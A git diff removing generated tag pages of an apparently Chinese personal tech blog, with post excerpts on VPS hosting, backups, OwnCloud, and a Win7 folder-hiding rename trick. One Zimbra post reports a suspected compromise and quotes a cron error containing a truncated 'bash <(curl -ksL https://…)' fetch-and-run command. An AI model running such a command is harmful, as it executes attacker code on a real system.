    - - - 今天早上收到 DigitalOcean 寄來的信件,說 開始支援FreeBSD了 -之前就注意這家廠商很久了,居然支援 FreeBSD !太酷了!有很多國外的VPS都不能跑FreeBSD的 -而且一個月也大概就是 10美元,跟我現有的VPS差不多,機房有新加坡可以選,所以馬上就申請了一台來玩玩看。 -安裝的過程就不多提,主要是我想從現在這個網站把 Wordpress 的備份檔案丟過去作restore -可是下載速度很慢,大概只有2xx KB ! -下面圖片可以看到,前面是 在我的電腦上,用FileZilla 抓檔案,後面是在 DigitalOcean 的機器上直接透過 ftp 指令抓檔 -FileZilla 速度有 1.2M ,DigitalOcean 那邊則是只有 250KB 左右.. - -我記得這機器的規格是共享 1G的線路,這狀況明顯不正常,所以我發信給客服,不意外的,客服回覆還是官方說法 -我們沒有限速!下載速度受到很多因素影響之類的廢話! > There isn’t any bandwidth limitation, however there are many factors that can impact throughput including the route of the data between hosts and the network utilization of the physical hosts involved 實在很不爽,又發了一封信跟它們說 traceroute 的結果,從 DigitalOcean的機器 trace到這台機器只要14個節點 - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [VPS] DigitalOcean VPS的下載速度很慢???

    -
    - - - 2015-01-15 - - - - - - - - - 筆記 - - - - - -
    - - - 今天早上收到 DigitalOcean 寄來的信件,說 開始支援FreeBSD了 -之前就注意這家廠商很久了,居然支援 FreeBSD !太酷了!有很多國外的VPS都不能跑FreeBSD的 -而且一個月也大概就是 10美元,跟我現有的VPS差不多,機房有新加坡可以選,所以馬上就申請了一台來玩玩看。 -安裝的過程就不多提,主要是我想從現在這個網站把 Wordpress 的備份檔案丟過去作restore -可是下載速度很慢,大概只有2xx KB ! -下面圖片可以看到,前面是 在我的電腦上,用FileZilla 抓檔案,後面是在 DigitalOcean 的機器上直接透過 ftp 指令抓檔 -FileZilla 速度有 1.2M ,DigitalOcean 那邊則是只有 250KB 左右.. - -我記得這機器的規格是共享 1G的線路,這狀況明顯不正常,所以我發信給客服,不意外的,客服回覆還是官方說法 -我們沒有限速!下載速度受到很多因素影響之類的廢話! > There isn’t any bandwidth limitation, however there are many factors that can impact throughput including the route of the data between hosts and the network utilization of the physical hosts involved 實在很不爽,又發了一封信跟它們說 traceroute 的結果,從 DigitalOcean的機器 trace到這台機器只要14個節點 - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]在KVM VPS上透過 fuse-sshfs + pdumpfs 做wordpress異地備援

    -
    - - - 2013-03-22 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為之前手賤,把原有的BLOG的資料檔都砍光光,雖然文章內容都還留著,但是圖片都變成叉燒包了 Too Sad

    - -

    不過換到新的WP之後,發現多了好多布景主題可以用,現在用的這個我就覺得很棒!Big Smile

    - -

    也為了要避免再次發生之前手殘的錯誤,所以一直在找一些異地備援的方式。

    - -

    Wordpress本身的外掛雖然有很多號稱可以透過FTP之類的方式把備份檔案丟去其他地方

    - -

    但測試了幾個之後,發現要不就是沒有定時的功能,要不就是要額外收費。

    - -

    想來想去,還是乾脆自己在console下備份比較能掌握。

    - -

    之前有玩過lsync,這次改用另外一招 sshfs + pdumpfs 來作作看

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/vps/page/1/index.html b/themes/public/tags/vps/page/1/index.html deleted file mode 100644 index ba365445..00000000 --- a/themes/public/tags/vps/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/vps/ \ No newline at end of file diff --git a/themes/public/tags/vultr/index.html b/themes/public/tags/vultr/index.html deleted file mode 100644 index 0a7007bf..00000000 --- a/themes/public/tags/vultr/index.html +++ /dev/null @@ -1,438 +0,0 @@ - - - - - - - - - - Vultr | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [BLOG] 新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    -
    - - - 2016-03-10 - - - - - - - - - BLOG - - - - - -
    - - -

    新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    - -

    前幾天因為DO的WP主機速度不理想,就連拿來當作上PTT的跳板都會頓爹

    - -

    所以把主機換到了vultr 的東京機房,光是ping值就從 14x ms 下降到了 4x ms,整個大改善啊!

    - -

    而且方案從原本的 10USD 換成了 5USD (1 cpu / 768M/15G) ,裝好FreeBSD拿來跑 WP算是綽綽有餘

    - -

    不過因為這台還當作 pydio 主機來用, 15G的空間實在不夠用

    - -

    發TICKET詢問客服能不能增加硬碟空間,客服表示只能upgrade plan

    - -

    但是再往上一級的10 USD方案,也只有 20G,多了 5 USD 只有多5G空間(好啦 還有流量也增加,問題是我用不到流量啊…)

    - -

    算一算,實在不是很划算

    - -

    就在這個摸門特,發現了 vultr 有 Storage Instance !

    - -

    只要 5USD 就有一台虛擬主機 (1 cpu / 512M/125G SATA HD)

    - -

    怎麼算都比upgrade 到 10USD的方案划算,而且價格一樣!

    - -

    二話不說,馬上申請一台,一樣跑FreeBSD 10.2,打算拿來當作儲存空間用

    - -

    至於要用 sshfs / curlftpfs  / nfs /iscsi 則是還沒決定,且戰且走

    - -

     

    - -
    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/vultr/page/1/index.html b/themes/public/tags/vultr/page/1/index.html deleted file mode 100644 index b32cd29d..00000000 --- a/themes/public/tags/vultr/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/vultr/ \ No newline at end of file diff --git a/themes/public/tags/win10/index.html b/themes/public/tags/win10/index.html deleted file mode 100644 index ae029612..00000000 --- a/themes/public/tags/win10/index.html +++ /dev/null @@ -1,398 +0,0 @@ - - - - - - - - - - Win10 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    筆記-Win10 Hyper-V 的 vmguest.iso

    -
    - - - 2017-07-24 - - - - - - - - -
    - - - 幫客戶處理在Win10 Pro 底下用Hyper-V 作 WinXP -但是hyper-V預設已經不提供 vmguest.iso -這個是去網路上找到的,測試過裝WinXP 雖然ok,但是裝置管理員還是很多「不明裝置」 -反正先讓業務能交貨就好了 -vmguest.iso MEGA 空間下載 - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/win10/page/1/index.html b/themes/public/tags/win10/page/1/index.html deleted file mode 100644 index 800d52d3..00000000 --- a/themes/public/tags/win10/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/win10/ \ No newline at end of file diff --git a/themes/public/tags/win7/index.html b/themes/public/tags/win7/index.html deleted file mode 100644 index e7be0535..00000000 --- a/themes/public/tags/win7/index.html +++ /dev/null @@ -1,433 +0,0 @@ - - - - - - - - - - Win7 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 偽裝/加密 Win7底下的目錄

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - 假設要偽裝的目錄為 d:\test -寫兩個批次檔,一個加密(encrypt.bat) 一個解密(decrypt.bat) -  -encrypt.bat 的內容 > d: > > > ren “test” “123.{2227a280-3aea-1069-a2de-08002b30309d}” > > > exit decrypt.bat > d: > > > ren ”123.{2227a280-3aea-1069-a2de-08002b30309d}“ ”test” > > > exit   -執行 encrypt 後, d:\test目錄就不見了,用command prompt也進不去 -測試畫面如下 -在命令列模式下,用 dir 看看 d:\test的東西 確認還在 - -  -ren 之後,再去dir一次,發現沒有東西… - -  -用檔案總管看到的畫面,test 目錄不見了 - -  -點進去這個目錄看到的是印表機的畫面 - -  -接下來,再把目錄改回來,然後 dir 看看,東西果然還在 - -  -檔案總管內也可以正常看到了 - -  -  -本來是在研究不用軟體去加密win7目錄的方法,偶然發現這樣搞好像也算另類加密了! -不過碰到稍微有常識的人,只要把附檔名改掉就可以了。 -但是話說回來,win7預設會把附檔名隱藏起來,也算是個好處!? - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/win7/page/1/index.html b/themes/public/tags/win7/page/1/index.html deleted file mode 100644 index 36cd9f24..00000000 --- a/themes/public/tags/win7/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/win7/ \ No newline at end of file diff --git a/themes/public/tags/woncloud/index.html b/themes/public/tags/woncloud/index.html deleted file mode 100644 index 6678a06d..00000000 --- a/themes/public/tags/woncloud/index.html +++ /dev/null @@ -1,423 +0,0 @@ - - - - - - - - - - Woncloud | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] CentOS 7+OwnCloud+LDAP+AD 認證設定

    -
    - - - 2015-01-05 - - - - - - - - - 工作筆記 - - - - - -
    - - - 今年的工作,列了一項建立公司內部私有雲的計畫,之前就有玩過免費的 OwnCloud ,這次拿來在公司環境試試看。 -底下簡單描述操作的步驟 -CentOS 7+OwnCloud+LDAP+AD 認證設定   -安裝 CentOS 7 下載ISO http://www.centos.org/download/ -把ISO丟上 esxi ,開一台新的 VM -配置大概如下,很簡單,想說主機上的RAM還有多,就配4G給這台 - -如果選最小安裝,會碰到很多指令不支援的問題,要一個個手動裝回來,這點要特別注意。 -另外,我的習慣是會關閉 SELINUX,另外設定 iptables ,這部分就看個人。 -為了之後要把Google Drive 拿來當作外部儲存空間用,所以之後都要用 hostname連線 -記得要修改DNS對應,如果用IP連線,Google Drive 的API 不接受! 安裝 OwnCloud CentOS 安裝好了之後,參考底下頭城國小資訊組的文章 PS 我雖說是礁溪人,不過老家親戚大部分都在頭城!硬要牽關係這樣 參考 http://blog.ilc.edu.tw/blog/blog/25793/post/79900/512903 -資料儲存空間要修改成自己機器上的路徑 -啟用 OwnCloud 的 LDAP 進入 OwnCloud 後,在左上角的雲的旁邊有個下拉選單,裡面有個應用程式,點進去 -P.S 不知道為什麼,進入應用程式要等很久,是VM不給力?還是給雙核CPU太少? -之前在另一台FreeBSD的實體機上測試,也會有這個問題.. -Update 2015/01/06 -早上翻了一堆 owncloud 論壇的文章,管理介面緩慢的問題滿多人碰到的 -有說是DNS 解析的問題,有說是進入 admin 介面時,會去檢查一些像是系統更新、網際網路連線能力之類,所以會跑比較久。 -有跟著說明修改了一些config裡面的值,「感覺」似乎有變快.. -  - -進入應用程式後,啟用 LDAP user and group backend , - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/woncloud/page/1/index.html b/themes/public/tags/woncloud/page/1/index.html deleted file mode 100644 index cf8e4ab6..00000000 --- a/themes/public/tags/woncloud/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/woncloud/ \ No newline at end of file diff --git a/themes/public/tags/wordpress/index.html b/themes/public/tags/wordpress/index.html deleted file mode 100644 index fbeca93b..00000000 --- a/themes/public/tags/wordpress/index.html +++ /dev/null @@ -1,527 +0,0 @@ - - - - - - - - - - Wordpress | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [BLOG] 新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    -
    - - - 2016-03-10 - - - - - - - - - BLOG - - - - - -
    - - -

    新增 Vultr Storage VPS 提供 iscsi 給wordpress 主機使用

    - -

    前幾天因為DO的WP主機速度不理想,就連拿來當作上PTT的跳板都會頓爹

    - -

    所以把主機換到了vultr 的東京機房,光是ping值就從 14x ms 下降到了 4x ms,整個大改善啊!

    - -

    而且方案從原本的 10USD 換成了 5USD (1 cpu / 768M/15G) ,裝好FreeBSD拿來跑 WP算是綽綽有餘

    - -

    不過因為這台還當作 pydio 主機來用, 15G的空間實在不夠用

    - -

    發TICKET詢問客服能不能增加硬碟空間,客服表示只能upgrade plan

    - -

    但是再往上一級的10 USD方案,也只有 20G,多了 5 USD 只有多5G空間(好啦 還有流量也增加,問題是我用不到流量啊…)

    - -

    算一算,實在不是很划算

    - -

    就在這個摸門特,發現了 vultr 有 Storage Instance !

    - -

    只要 5USD 就有一台虛擬主機 (1 cpu / 512M/125G SATA HD)

    - -

    怎麼算都比upgrade 到 10USD的方案划算,而且價格一樣!

    - -

    二話不說,馬上申請一台,一樣跑FreeBSD 10.2,打算拿來當作儲存空間用

    - -

    至於要用 sshfs / curlftpfs  / nfs /iscsi 則是還沒決定,且戰且走

    - -

     

    - -
    - -

     

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - -
    - - - - - -
    - - -
    -

    [筆記]在KVM VPS上透過 fuse-sshfs + pdumpfs 做wordpress異地備援

    -
    - - - 2013-03-22 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為之前手賤,把原有的BLOG的資料檔都砍光光,雖然文章內容都還留著,但是圖片都變成叉燒包了 Too Sad

    - -

    不過換到新的WP之後,發現多了好多布景主題可以用,現在用的這個我就覺得很棒!Big Smile

    - -

    也為了要避免再次發生之前手殘的錯誤,所以一直在找一些異地備援的方式。

    - -

    Wordpress本身的外掛雖然有很多號稱可以透過FTP之類的方式把備份檔案丟去其他地方

    - -

    但測試了幾個之後,發現要不就是沒有定時的功能,要不就是要額外收費。

    - -

    想來想去,還是乾脆自己在console下備份比較能掌握。

    - -

    之前有玩過lsync,這次改用另外一招 sshfs + pdumpfs 來作作看

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/wordpress/page/1/index.html b/themes/public/tags/wordpress/page/1/index.html deleted file mode 100644 index 060f926e..00000000 --- a/themes/public/tags/wordpress/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/wordpress/ \ No newline at end of file diff --git a/themes/public/tags/xenapp/index.html b/themes/public/tags/xenapp/index.html deleted file mode 100644 index 6e65f91e..00000000 --- a/themes/public/tags/xenapp/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - Xenapp | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] XenServer/XenApp 不透過AG,直接從Internet連線的方式

    -
    - - - 2013-10-03 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為最近要再次開放遠端桌面連線給員工使用,基於某些原因,我不是很想直接讓USER直接連線。

    - -

    不管是透過terminal service or XenApp,不過,命令終究是命令,遠端連線自然是沒有問題,不過之前問過廠商,如果要在INTERNET上直接提供XenApp,都是建議前面再放個AG之類的,那又是一筆額外的成本,所以這兩天在測試怎麼從INTERNET上直接連XenApp服務,但是碰到了許多的問題,以下簡單記錄一下處理的步驟。

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/xenapp/page/1/index.html b/themes/public/tags/xenapp/page/1/index.html deleted file mode 100644 index 4bbafe84..00000000 --- a/themes/public/tags/xenapp/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/xenapp/ \ No newline at end of file diff --git a/themes/public/tags/xenserver/index.html b/themes/public/tags/xenserver/index.html deleted file mode 100644 index c504b040..00000000 --- a/themes/public/tags/xenserver/index.html +++ /dev/null @@ -1,410 +0,0 @@ - - - - - - - - - - Xenserver | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] XenServer/XenApp 不透過AG,直接從Internet連線的方式

    -
    - - - 2013-10-03 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為最近要再次開放遠端桌面連線給員工使用,基於某些原因,我不是很想直接讓USER直接連線。

    - -

    不管是透過terminal service or XenApp,不過,命令終究是命令,遠端連線自然是沒有問題,不過之前問過廠商,如果要在INTERNET上直接提供XenApp,都是建議前面再放個AG之類的,那又是一筆額外的成本,所以這兩天在測試怎麼從INTERNET上直接連XenApp服務,但是碰到了許多的問題,以下簡單記錄一下處理的步驟。

    - -

    - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/xenserver/page/1/index.html b/themes/public/tags/xenserver/page/1/index.html deleted file mode 100644 index 77b0c49d..00000000 --- a/themes/public/tags/xenserver/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/xenserver/ \ No newline at end of file diff --git a/themes/public/tags/ylion/page/1/index.html b/themes/public/tags/ylion/page/1/index.html deleted file mode 100644 index de07dbd3..00000000 --- a/themes/public/tags/ylion/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/ylion/ \ No newline at end of file diff --git a/themes/public/tags/zimbra/index.html b/themes/public/tags/zimbra/index.html deleted file mode 100644 index 51f5dcac..00000000 --- a/themes/public/tags/zimbra/index.html +++ /dev/null @@ -1,403 +0,0 @@ - - - - - - - - - - Zimbra | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] Zimbra 主機疑似被拿來挖礦了

    -
    - - - 2014-08-08 - - - - - - - - - 工作筆記 - - - - - -
    - - - 最近發現Zimbra主機似乎被駭客打進去了 -會有 root 往外發信的紀錄,所以在 zimbra的postfix裡面設定了 always_bcc ,想看一下到底是寄出什麼東西 -似乎是透過crontab 定時送出,可是我/etc底下的 crontab 都檢查過了,沒看到異常說.. -信件內容如下 > > > > > > > > > > > > > > > > > > ### Cron Daemon <root@> > > > > > > > > > > > > > > 3:00 (5 小時前) > > > > > > > > > > > > > > > > > > > > > > > > 寄給 zimbra > > > > > > > > > > > > > > > > > > > > > > > > /bin/sh: -c: line 0: syntax error near unexpected token (' > > /bin/sh: -c: line 0:/bin/bash <(curl -ksL https://cp1. - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/zimbra/page/1/index.html b/themes/public/tags/zimbra/page/1/index.html deleted file mode 100644 index 01e9b6d8..00000000 --- a/themes/public/tags/zimbra/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/zimbra/ \ No newline at end of file diff --git a/themes/public/tags/亂碼/index.html b/themes/public/tags/亂碼/index.html deleted file mode 100644 index a9901427..00000000 --- a/themes/public/tags/亂碼/index.html +++ /dev/null @@ -1,422 +0,0 @@ - - - - - - - - - - 亂碼 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記]群暉科技 Synology 的 Syslog 中文亂碼的處理方法

    -
    - - - 2014-09-09 - - - - - - - - - 工作筆記 - - - - - -
    - - - 因為開會時,被要求紀錄NAS上的檔案存取記錄 -想到群暉的NAS上,不曉得在哪一版DSM之後,就有提供這樣的功能 -控制台—>檔案服務—>勾選 啟動傳輸日誌 - -接下來在系統中,就可以看到USER上來新增、修改、刪除之類的動作 - -正所謂得隴望蜀,雖然在這邊已經可以查到記錄了,可是總是想要丟到SYSLOG Server去做處理比較快 -所以我把SYSLOG指定丟到我另一台 FreeBSD 9.1的 SYSLOG Server上 -丟出來是沒有碰到什麼問題,但是在SYSLOG Server上,看到的LOG都是亂碼 - -發信件去給群暉,過了24小時也沒收到回信,想說還是靠自己比較快… -翻了一下google 大神,發現 SYSLOG在處理中文上的確是有問題 -最後找到了這篇 -FreeBSD : syslogd 儲存的 UTF-8 編碼記錄變亂碼 解決方法真的很簡單,就在syslog的啟動參數,多加一個 -8 ,然後重新啟動syslogd就好了 > vi /etc/rc.conf > > > syslogd_flags=”-8 -a 192.168.1.0/16:*”   -再來看一下檔案內容, YES ! 中文都可以看到了!這樣就方便過濾了! -雖然馬賽克遮掉很多,但是應該可以看到中文可以正常顯示了! - -  -至於群暉那邊開好的TICKET….我看就等看看他們哪時候才要回覆我好了… - - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/亂碼/page/1/index.html b/themes/public/tags/亂碼/page/1/index.html deleted file mode 100644 index 1df840c9..00000000 --- a/themes/public/tags/亂碼/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E4%BA%82%E7%A2%BC/ \ No newline at end of file diff --git a/themes/public/tags/剪報/page/1/index.html b/themes/public/tags/剪報/page/1/index.html deleted file mode 100644 index 07c05653..00000000 --- a/themes/public/tags/剪報/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E5%89%AA%E5%A0%B1/ \ No newline at end of file diff --git a/themes/public/tags/加密/index.html b/themes/public/tags/加密/index.html deleted file mode 100644 index fea674c6..00000000 --- a/themes/public/tags/加密/index.html +++ /dev/null @@ -1,433 +0,0 @@ - - - - - - - - - - 加密 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 偽裝/加密 Win7底下的目錄

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - 假設要偽裝的目錄為 d:\test -寫兩個批次檔,一個加密(encrypt.bat) 一個解密(decrypt.bat) -  -encrypt.bat 的內容 > d: > > > ren “test” “123.{2227a280-3aea-1069-a2de-08002b30309d}” > > > exit decrypt.bat > d: > > > ren ”123.{2227a280-3aea-1069-a2de-08002b30309d}“ ”test” > > > exit   -執行 encrypt 後, d:\test目錄就不見了,用command prompt也進不去 -測試畫面如下 -在命令列模式下,用 dir 看看 d:\test的東西 確認還在 - -  -ren 之後,再去dir一次,發現沒有東西… - -  -用檔案總管看到的畫面,test 目錄不見了 - -  -點進去這個目錄看到的是印表機的畫面 - -  -接下來,再把目錄改回來,然後 dir 看看,東西果然還在 - -  -檔案總管內也可以正常看到了 - -  -  -本來是在研究不用軟體去加密win7目錄的方法,偶然發現這樣搞好像也算另類加密了! -不過碰到稍微有常識的人,只要把附檔名改掉就可以了。 -但是話說回來,win7預設會把附檔名隱藏起來,也算是個好處!? - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/加密/page/1/index.html b/themes/public/tags/加密/page/1/index.html deleted file mode 100644 index 511a3405..00000000 --- a/themes/public/tags/加密/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E5%8A%A0%E5%AF%86/ \ No newline at end of file diff --git a/themes/public/tags/客服/index.html b/themes/public/tags/客服/index.html deleted file mode 100644 index f412b968..00000000 --- a/themes/public/tags/客服/index.html +++ /dev/null @@ -1,406 +0,0 @@ - - - - - - - - - - 客服 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - - - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/客服/page/1/index.html b/themes/public/tags/客服/page/1/index.html deleted file mode 100644 index cca7dbba..00000000 --- a/themes/public/tags/客服/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E5%AE%A2%E6%9C%8D/ \ No newline at end of file diff --git a/themes/public/tags/敗家/page/1/index.html b/themes/public/tags/敗家/page/1/index.html deleted file mode 100644 index bc418b96..00000000 --- a/themes/public/tags/敗家/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E6%95%97%E5%AE%B6/ \ No newline at end of file diff --git a/themes/public/tags/文件夾/index.html b/themes/public/tags/文件夾/index.html deleted file mode 100644 index 22c580cd..00000000 --- a/themes/public/tags/文件夾/index.html +++ /dev/null @@ -1,433 +0,0 @@ - - - - - - - - - - 文件夾 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 偽裝/加密 Win7底下的目錄

    -
    - - - 2013-11-14 - - - - - - - - - 工作筆記 - - - - - -
    - - - 假設要偽裝的目錄為 d:\test -寫兩個批次檔,一個加密(encrypt.bat) 一個解密(decrypt.bat) -  -encrypt.bat 的內容 > d: > > > ren “test” “123.{2227a280-3aea-1069-a2de-08002b30309d}” > > > exit decrypt.bat > d: > > > ren ”123.{2227a280-3aea-1069-a2de-08002b30309d}“ ”test” > > > exit   -執行 encrypt 後, d:\test目錄就不見了,用command prompt也進不去 -測試畫面如下 -在命令列模式下,用 dir 看看 d:\test的東西 確認還在 - -  -ren 之後,再去dir一次,發現沒有東西… - -  -用檔案總管看到的畫面,test 目錄不見了 - -  -點進去這個目錄看到的是印表機的畫面 - -  -接下來,再把目錄改回來,然後 dir 看看,東西果然還在 - -  -檔案總管內也可以正常看到了 - -  -  -本來是在研究不用軟體去加密win7目錄的方法,偶然發現這樣搞好像也算另類加密了! -不過碰到稍微有常識的人,只要把附檔名改掉就可以了。 -但是話說回來,win7預設會把附檔名隱藏起來,也算是個好處!? - - - Continue reading - - -
    - - - - -
    - - -
    - - - -
    - - - -
    - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/tags/文件夾/page/1/index.html b/themes/public/tags/文件夾/page/1/index.html deleted file mode 100644 index 92d5f54d..00000000 --- a/themes/public/tags/文件夾/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E6%96%87%E4%BB%B6%E5%A4%BE/ \ No newline at end of file diff --git a/themes/public/tags/棒球/page/1/index.html b/themes/public/tags/棒球/page/1/index.html deleted file mode 100644 index e9f23481..00000000 --- a/themes/public/tags/棒球/page/1/index.html +++ /dev/null @@ -1 +0,0 @@ -https://h.cowbay.org/tags/%E6%A3%92%E7%90%83/ \ No newline at end of file diff --git a/themes/public/tags/異地備援/index.html b/themes/public/tags/異地備援/index.html deleted file mode 100644 index 9769b29e..00000000 --- a/themes/public/tags/異地備援/index.html +++ /dev/null @@ -1,503 +0,0 @@ - - - - - - - - - - 異地備援 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - - -
    - - - - - -
    - - -
    -

    [筆記] 簡單利用雙槽硬碟外接底座配合 群暉 NAS 達到異地備援

    -
    - - - 2013-03-26 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    前陣子的內湖機房大樓失火問題,又再次凸顯了「異地備援」的重要性。

    - -

    雖說那次的案件是頻寬方面的問題,不過也提醒我現在公司內資料備份還沒有真正異地備援的事實。

    - -

